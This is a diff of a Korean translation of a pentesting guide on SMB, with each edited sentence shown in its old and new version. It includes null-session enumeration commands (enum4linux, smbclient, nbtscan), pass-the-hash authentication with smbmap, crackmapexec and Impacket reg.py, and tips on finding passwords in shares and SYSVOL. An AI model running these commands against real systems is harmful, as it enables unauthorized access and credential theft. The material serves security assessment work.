๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ **์ ‘๊ทผ**์„ ๊ทœ์ œํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ **Windows** ์šด์˜ ์ฒด์ œ ์‹œ๋ฆฌ์ฆˆ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ๋ณด์žฅํ•˜์—ฌ Microsoft์˜ ์šด์˜ ์ฒด์ œ์˜ ์ตœ์‹  ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜๊ฐ€ ์ด์ „ ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Samba** ํ”„๋กœ์ ํŠธ๋Š” SMB์˜ ๊ตฌํ˜„์„ **Linux** ๋ฐ Unix ์‹œ์Šคํ…œ์—์„œ ๊ฐ€๋Šฅํ•˜๊ฒŒ ํ•˜๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ์ด๋ฅผ ํ†ตํ•ด SMB๋ฅผ ํ†ตํ•œ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ํ†ต์‹ ์ด ์ด‰์ง„๋ฉ๋‹ˆ๋‹ค. +**์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก (SMB)** ํ”„๋กœํ† ์ฝœ์€ **ํด๋ผ์ด์–ธํŠธ-์„œ๋ฒ„** ๋ชจ๋ธ์—์„œ ์ž‘๋™ํ•˜๋ฉฐ, **ํŒŒ์ผ**, ๋””๋ ‰ํ† ๋ฆฌ ๋ฐ ํ”„๋ฆฐํ„ฐ, ๋ผ์šฐํ„ฐ์™€ ๊ฐ™์€ ๊ธฐํƒ€ ๋„คํŠธ์›Œํฌ ๋ฆฌ์†Œ์Šค์— ๋Œ€ํ•œ **์ ‘๊ทผ**์„ ๊ทœ์ œํ•˜๊ธฐ ์œ„ํ•ด ์„ค๊ณ„๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์ฃผ๋กœ **Windows** ์šด์˜ ์ฒด์ œ ์‹œ๋ฆฌ์ฆˆ ๋‚ด์—์„œ ์‚ฌ์šฉ๋˜๋ฉฐ, SMB๋Š” ํ•˜์œ„ ํ˜ธํ™˜์„ฑ์„ ๋ณด์žฅํ•˜์—ฌ Microsoft์˜ ์ตœ์‹  ์šด์˜ ์ฒด์ œ๋ฅผ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜๊ฐ€ ์ด์ „ ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๋Š” ์žฅ์น˜์™€ ์›ํ™œํ•˜๊ฒŒ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ๋„๋ก ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ, **Samba** ํ”„๋กœ์ ํŠธ๋Š” SMB๋ฅผ **Linux** ๋ฐ Unix ์‹œ์Šคํ…œ์—์„œ ๊ตฌํ˜„ํ•  ์ˆ˜ ์žˆ๋Š” ๋ฌด๋ฃŒ ์†Œํ”„ํŠธ์›จ์–ด ์†”๋ฃจ์…˜์„ ์ œ๊ณตํ•˜์—ฌ SMB๋ฅผ ํ†ตํ•œ ํฌ๋กœ์Šค ํ”Œ๋žซํผ ํ†ต์‹ ์„ ์ด‰์ง„ํ•ฉ๋‹ˆ๋‹ค. -SMB ์„œ๋ฒ„๋Š” **๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๋ถ€๋ถ„**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ณต์œ ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ํด๋ผ์ด์–ธํŠธ์—๊ฒŒ ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ **๋…๋ฆฝ์ ์ธ** ๊ณ„์ธต ๊ตฌ์กฐ๋ฅผ ๋ณด์—ฌ์ค๋‹ˆ๋‹ค. **์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก (ACLs)**์€ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ •์˜ํ•˜๋ฉฐ, **`execute`**, **`read`**, **`full access`**์™€ ๊ฐ™์€ ์†์„ฑ์„ ํฌํ•จํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ **์„ธ๋ฐ€ํ•œ ์ œ์–ด**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ๊ณต์œ ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์—์„œ ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๊ตฌ๋ณ„๋ฉ๋‹ˆ๋‹ค. +SMB ์„œ๋ฒ„๋Š” **๋กœ์ปฌ ํŒŒ์ผ ์‹œ์Šคํ…œ์˜ ์ž„์˜ ๋ถ€๋ถ„**์„ ๋‚˜ํƒ€๋‚ด๋Š” ๊ณต์œ ๋ฅผ ์ œ๊ณตํ•  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ํด๋ผ์ด์–ธํŠธ๋Š” ์„œ๋ฒ„์˜ ์‹ค์ œ ๊ตฌ์กฐ์™€ ๋ถ€๋ถ„์ ์œผ๋กœ **๋…๋ฆฝ์ ์ธ** ๊ณ„์ธต ๊ตฌ์กฐ๋ฅผ ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. **์ ‘๊ทผ ์ œ์–ด ๋ชฉ๋ก (ACLs)**์€ **์ ‘๊ทผ ๊ถŒํ•œ**์„ ์ •์˜ํ•˜๋ฉฐ, **`execute`**, **`read`**, **`full access`**์™€ ๊ฐ™์€ ์†์„ฑ์„ ํฌํ•จํ•˜์—ฌ ์‚ฌ์šฉ์ž ๊ถŒํ•œ์— ๋Œ€ํ•œ **์„ธ๋ฐ€ํ•œ ์ œ์–ด**๋ฅผ ํ—ˆ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ด๋Ÿฌํ•œ ๊ถŒํ•œ์€ ๊ณต์œ ๋ฅผ ๊ธฐ๋ฐ˜์œผ๋กœ ๊ฐœ๋ณ„ ์‚ฌ์šฉ์ž ๋˜๋Š” ๊ทธ๋ฃน์— ํ• ๋‹น๋  ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์„œ๋ฒ„์—์„œ ์„ค์ •๋œ ๋กœ์ปฌ ๊ถŒํ•œ๊ณผ๋Š” ๊ตฌ๋ณ„๋ฉ๋‹ˆ๋‹ค. ### IPC$ Share -IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ๋ช…๋ช…๋œ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์„ ์œ„ํ•ด `enum4linux` ์œ ํ‹ธ๋ฆฌํ‹ฐ๊ฐ€ ์œ ์šฉํ•ฉ๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ, ์ด๋ฅผ ํ†ตํ•ด ๋ช…๋ช…๋œ ํŒŒ์ดํ”„๋ฅผ ํ†ตํ•ด ๋…ธ์ถœ๋œ ์„œ๋น„์Šค์™€ ์ƒํ˜ธ ์ž‘์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์ด ๋ชฉ์ ์— ์œ ์šฉํ•œ ์œ ํ‹ธ๋ฆฌํ‹ฐ๋Š” `enum4linux`์ž…๋‹ˆ๋‹ค. ์ ์ ˆํžˆ ์‚ฌ์šฉํ•˜๋ฉด ๋‹ค์Œ์„ ํš๋“ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: - ์šด์˜ ์ฒด์ œ์— ๋Œ€ํ•œ ์ •๋ณด - ์ƒ์œ„ ๋„๋ฉ”์ธ์— ๋Œ€ํ•œ ์„ธ๋ถ€ ์ •๋ณด @@ -32,15 +32,15 @@ IPC$ ๊ณต์œ ์— ๋Œ€ํ•œ ์ ‘๊ทผ์€ ์ต๋ช… ๋„ ์„ธ์…˜์„ ํ†ตํ•ด ์–ป์„ ์ˆ˜ ์žˆ์œผ๋ฉฐ - ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ SMB ๊ณต์œ ์— ๋Œ€ํ•œ ์ •๋ณด - ํšจ๊ณผ์ ์ธ ์‹œ์Šคํ…œ ๋ณด์•ˆ ์ •์ฑ… -์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๊ฐ€ SMB (์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ํƒœ์„ธ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. `enum4linux`๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ทฐ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํ•˜๊ฒŒ ๋ณดํ˜ธ๋˜๋„๋ก ํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. +์ด ๊ธฐ๋Šฅ์€ ๋„คํŠธ์›Œํฌ ๊ด€๋ฆฌ์ž๊ฐ€ SMB (์„œ๋ฒ„ ๋ฉ”์‹œ์ง€ ๋ธ”๋ก) ์„œ๋น„์Šค์˜ ๋ณด์•ˆ ํƒœ์„ธ๋ฅผ ํ‰๊ฐ€ํ•˜๋Š” ๋ฐ ์ค‘์š”ํ•ฉ๋‹ˆ๋‹ค. `enum4linux`๋Š” ๋Œ€์ƒ ์‹œ์Šคํ…œ์˜ SMB ํ™˜๊ฒฝ์— ๋Œ€ํ•œ ํฌ๊ด„์ ์ธ ๋ทฐ๋ฅผ ์ œ๊ณตํ•˜๋ฉฐ, ์ด๋Š” ์ž ์žฌ์ ์ธ ์ทจ์•ฝ์ ์„ ์‹๋ณ„ํ•˜๊ณ  SMB ์„œ๋น„์Šค๊ฐ€ ์ ์ ˆํ•˜๊ฒŒ ๋ณดํ˜ธ๋˜๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๋ฐ ํ•„์ˆ˜์ ์ž…๋‹ˆ๋‹ค. ```bash enum4linux -a target_ip ``` -์œ„์˜ ๋ช…๋ น์€ `target_ip`๋กœ ์ง€์ •๋œ ๋Œ€์ƒ์„ ๋Œ€์ƒ์œผ๋กœ ์ „์ฒด ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ธฐ ์œ„ํ•ด `enum4linux`๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค. +์œ„์˜ ๋ช…๋ น์€ `enum4linux`๊ฐ€ `target_ip`๋กœ ์ง€์ •๋œ ๋Œ€์ƒ์„ ๋Œ€์ƒ์œผ๋กœ ์ „์ฒด ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๋Š” ๋ฐฉ๋ฒ•์˜ ์˜ˆ์ž…๋‹ˆ๋‹ค. ## NTLM์ด๋ž€ -NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€์™€ ์ด๋ฅผ ์–ด๋–ป๊ฒŒ ํ™œ์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€** ์„ค๋ช…ํ•˜๋Š” **NTLM**์— ๋Œ€ํ•œ ์ด ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค: +NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ์•…์šฉํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ์•Œ๊ณ  ์‹ถ๋‹ค๋ฉด, **์ด ํ”„๋กœํ† ์ฝœ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€์™€ ์ด๋ฅผ ํ™œ์šฉํ•˜๋Š” ๋ฐฉ๋ฒ•**์— ๋Œ€ํ•ด ์„ค๋ช…ํ•˜๋Š” **NTLM**์— ๋Œ€ํ•œ ์ด ํŽ˜์ด์ง€๊ฐ€ ๋งค์šฐ ํฅ๋ฏธ๋กœ์šธ ๊ฒƒ์ž…๋‹ˆ๋‹ค: {{#ref}} ../windows-hardening/ntlm/ @@ -48,7 +48,7 @@ NTLM์ด ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๊ฑฐ๋‚˜ ๊ทธ๊ฒƒ์ด ์–ด๋–ป๊ฒŒ ์ž‘๋™ํ•˜๋Š”์ง€, ์–ด๋–ป๊ฒŒ ## **์„œ๋ฒ„ ์—ด๊ฑฐ** -### **ํ˜ธ์ŠคํŠธ**๋ฅผ ๊ฒ€์ƒ‰ํ•˜์—ฌ ๋„คํŠธ์›Œํฌ ์Šค์บ”: +### **ํ˜ธ์ŠคํŠธ** ๊ฒ€์ƒ‰์„ ์œ„ํ•œ ๋„คํŠธ์›Œํฌ ์Šค์บ”: ```bash nbtscan -r 192.168.0.1/24 ``` @@ -169,7 +169,7 @@ pentesting-smb/rpcclient-enumeration.md ### ๊ณต์œ  ํด๋” ๋ชฉ๋ก -ํ•ญ์ƒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ž๊ฒฉ ์ฆ๋ช…์ด ์—†๋Š” ๊ฒฝ์šฐ **null** **์ž๊ฒฉ ์ฆ๋ช…/๊ฒŒ์ŠคํŠธ ์‚ฌ์šฉ์ž**๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์‹ญ์‹œ์˜ค. +ํ•ญ์ƒ ์ ‘๊ทผํ•  ์ˆ˜ ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋Š” ๊ฒƒ์ด ์ข‹์Šต๋‹ˆ๋‹ค. ์ž๊ฒฉ ์ฆ๋ช…์ด ์—†๋Š” ๊ฒฝ์šฐ **null** **์ž๊ฒฉ ์ฆ๋ช…/๊ฒŒ์ŠคํŠธ ์‚ฌ์šฉ์ž**๋ฅผ ์‚ฌ์šฉํ•ด ๋ณด์„ธ์š”. ```bash smbclient --no-pass -L // # Null user smbclient -U 'username[%passwd]' -L [--pw-nt-hash] // #If you omit the pwd, it will be prompted. With --pw-nt-hash, the pwd provided is the NT hash @@ -212,7 +212,7 @@ smbmap -u "username" -p ":" [-r/-R] [Folder] -H [-P ] #Pass-t (_**Network Security Assessment 3rd edition**_์˜ ์ผ๋ฐ˜์ ์ธ ๊ณต์œ  ์ด๋ฆ„) -๋‹ค์Œ ๋ช…๋ น์–ด๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์—ฐ๊ฒฐ์„ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. +๋‹ค์Œ ๋ช…๋ น์„ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋“ค์— ์—ฐ๊ฒฐํ•ด ๋ณผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ```bash smbclient -U '%' -N \\\\\\ # null session to connect to a windows share smbclient -U '' \\\\\\ # authenticated session to connect to a windows share (you will be prompted for a password) @@ -239,7 +239,7 @@ done smbclient -U '%' -N \\\\192.168.0.24\\im_clearly_not_here # returns NT_STATUS_BAD_NETWORK_NAME smbclient -U '%' -N \\\\192.168.0.24\\ADMIN$ # returns NT_STATUS_ACCESS_DENIED or even gives you a session ``` -### **Windows์—์„œ ๊ณต์œ ๋ฅผ ์—ด๊ฑฐํ•˜๊ธฐ / ์„œ๋“œํŒŒํ‹ฐ ๋„๊ตฌ ์—†์ด** +### **Windows์—์„œ ๊ณต์œ  ๋ชฉ๋ก ์—ด๊ธฐ / ์„œ๋“œํŒŒํ‹ฐ ๋„๊ตฌ ์—†์ด** PowerShell ```powershell @@ -310,15 +310,15 @@ Snaffler.exe -s -d domain.local -o snaffler.log -v data ```bash sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'Department Shares' ``` -๊ณต์œ ์—์„œ ํŠนํžˆ ํฅ๋ฏธ๋กœ์šด ๊ฒƒ์€ **`Registry.xml`** ํŒŒ์ผ๋กœ, ์ด๋Š” **autologon**์ด Group Policy๋ฅผ ํ†ตํ•ด ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ **ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๋˜๋Š” **`web.config`** ํŒŒ์ผ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ **ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค**. +ํŠนํžˆ ํฅ๋ฏธ๋กœ์šด ๊ณต์œ  ํŒŒ์ผ์€ **`Registry.xml`**๋กœ, ์ด๋Š” **autologon**์œผ๋กœ ๊ตฌ์„ฑ๋œ ์‚ฌ์šฉ์ž์— ๋Œ€ํ•œ ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ํฌํ•จํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๋˜๋Š” **`web.config`** ํŒŒ์ผ์€ ์ž๊ฒฉ ์ฆ๋ช…์„ ํฌํ•จํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. > [!NOTE] -> **SYSVOL ๊ณต์œ **๋Š” ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ **์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ทธ ์•ˆ์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐฐ์น˜, VBScript ๋ฐ PowerShell **์Šคํฌ๋ฆฝํŠธ**๊ฐ€ **์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**.\ -> ๊ทธ ์•ˆ์˜ **์Šคํฌ๋ฆฝํŠธ**๋ฅผ **ํ™•์ธํ•ด์•ผ** ํ•˜๋ฉฐ, **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ **์ฐพ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. +> **SYSVOL ๊ณต์œ **๋Š” ๋„๋ฉ”์ธ ๋‚ด ๋ชจ๋“  ์ธ์ฆ๋œ ์‚ฌ์šฉ์ž๊ฐ€ **์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. ๊ทธ ์•ˆ์—๋Š” ๋‹ค์–‘ํ•œ ๋ฐฐ์น˜, VBScript ๋ฐ PowerShell **์Šคํฌ๋ฆฝํŠธ**๊ฐ€ ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.\ +> ๊ทธ ์•ˆ์˜ **์Šคํฌ๋ฆฝํŠธ**๋ฅผ **ํ™•์ธ**ํ•ด์•ผ ํ•˜๋ฉฐ, **๋น„๋ฐ€๋ฒˆํ˜ธ**์™€ ๊ฐ™์€ ๋ฏผ๊ฐํ•œ ์ •๋ณด๋ฅผ **์ฐพ์„ ์ˆ˜** ์žˆ์Šต๋‹ˆ๋‹ค. ## ๋ ˆ์ง€์ŠคํŠธ๋ฆฌ ์ฝ๊ธฐ -๋ฐœ๊ฒฌ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ๋ฅผ ์ฝ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค**. Impacket **`reg.py`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: +๋ฐœ๊ฒฌ๋œ ์ž๊ฒฉ ์ฆ๋ช…์„ ์‚ฌ์šฉํ•˜์—ฌ **๋ ˆ์ง€์ŠคํŠธ๋ฆฌ**๋ฅผ **์ฝ์„ ์ˆ˜** ์žˆ์„ ๊ฒƒ์ž…๋‹ˆ๋‹ค. Impacket **`reg.py`**๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์‹œ๋„ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: ```bash sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKU -s sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a876cb7e6:1a3487d42adaa12332bdb34a876cb7e6 query -keyName HKCU -s @@ -328,20 +328,20 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87 **Samba** ์„œ๋ฒ„์˜ **๊ธฐ๋ณธ ๊ตฌ์„ฑ**์€ ์ผ๋ฐ˜์ ์œผ๋กœ `/etc/samba/smb.conf`์— ์œ„์น˜ํ•˜๋ฉฐ, ๋ช‡ ๊ฐ€์ง€ **์œ„ํ—˜ํ•œ ๊ตฌ์„ฑ**์ด ์žˆ์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: -| **์„ค์ •** | **์„ค๋ช…** | +| **์„ค์ •** | **์„ค๋ช…** | | --------------------------- | ------------------------------------------------------------------- | | `browseable = yes` | ํ˜„์žฌ ๊ณต์œ ์—์„œ ์‚ฌ์šฉ ๊ฐ€๋Šฅํ•œ ๊ณต์œ  ๋ชฉ๋ก์„ ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | | `read only = no` | ํŒŒ์ผ์˜ ์ƒ์„ฑ ๋ฐ ์ˆ˜์ •์„ ๊ธˆ์ง€ํ•ฉ๋‹ˆ๊นŒ? | -| `writable = yes` | ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | -| `enable privileges = yes` | ํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์กด์ค‘ํ•ฉ๋‹ˆ๊นŒ? | -| `create mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `directory mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋””๋ ‰ํ† ๋ฆฌ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -| `logon script = script.sh` | ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์‹œ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? | -| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์‹คํ–‰ํ•ด์•ผ ํ•˜๋Š” ์Šคํฌ๋ฆฝํŠธ๋Š” ๋ฌด์—‡์ž…๋‹ˆ๊นŒ? | -| `magic output = script.out` | ๋งˆ๋ฒ• ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์ด ์ €์žฅ๋˜์–ด์•ผ ํ•˜๋Š” ์œ„์น˜๋Š” ์–ด๋””์ž…๋‹ˆ๊นŒ? | +| `writable = yes` | ์‚ฌ์šฉ์ž๊ฐ€ ํŒŒ์ผ์„ ์ƒ์„ฑํ•˜๊ณ  ์ˆ˜์ •ํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `guest ok = yes` | ๋น„๋ฐ€๋ฒˆํ˜ธ ์—†์ด ์„œ๋น„์Šค์— ์—ฐ๊ฒฐํ•  ์ˆ˜ ์žˆ๋„๋ก ํ—ˆ์šฉํ•ฉ๋‹ˆ๊นŒ? | +| `enable privileges = yes` | ํŠน์ • SID์— ํ• ๋‹น๋œ ๊ถŒํ•œ์„ ์กด์ค‘ํ•ฉ๋‹ˆ๊นŒ? | +| `create mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ํŒŒ์ผ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `directory mask = 0777` | ์ƒˆ๋กœ ์ƒ์„ฑ๋œ ๋””๋ ‰ํ† ๋ฆฌ์— ์–ด๋–ค ๊ถŒํ•œ์ด ํ• ๋‹น๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `logon script = script.sh` | ์‚ฌ์šฉ์ž์˜ ๋กœ๊ทธ์ธ ์‹œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `magic script = script.sh` | ์Šคํฌ๋ฆฝํŠธ๊ฐ€ ์ข…๋ฃŒ๋  ๋•Œ ์–ด๋–ค ์Šคํฌ๋ฆฝํŠธ๋ฅผ ์‹คํ–‰ํ•ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | +| `magic output = script.out` | ๋งˆ๋ฒ• ์Šคํฌ๋ฆฝํŠธ์˜ ์ถœ๋ ฅ์ด ์–ด๋””์— ์ €์žฅ๋˜์–ด์•ผ ํ•ฉ๋‹ˆ๊นŒ? | -๋ช…๋ น์–ด `smbstatus`๋Š” **์„œ๋ฒ„**์— ๋Œ€ํ•œ ์ •๋ณด์™€ **๋ˆ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€**์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. +`smbstatus` ๋ช…๋ น์€ **์„œ๋ฒ„** ๋ฐ **๋ˆ„๊ฐ€ ์—ฐ๊ฒฐ๋˜์–ด ์žˆ๋Š”์ง€**์— ๋Œ€ํ•œ ์ •๋ณด๋ฅผ ์ œ๊ณตํ•ฉ๋‹ˆ๋‹ค. ## Authenticate using Kerberos @@ -378,8 +378,8 @@ crackmapexec smb -d -u Administrator -H #Pass-The-Hash ``` ### 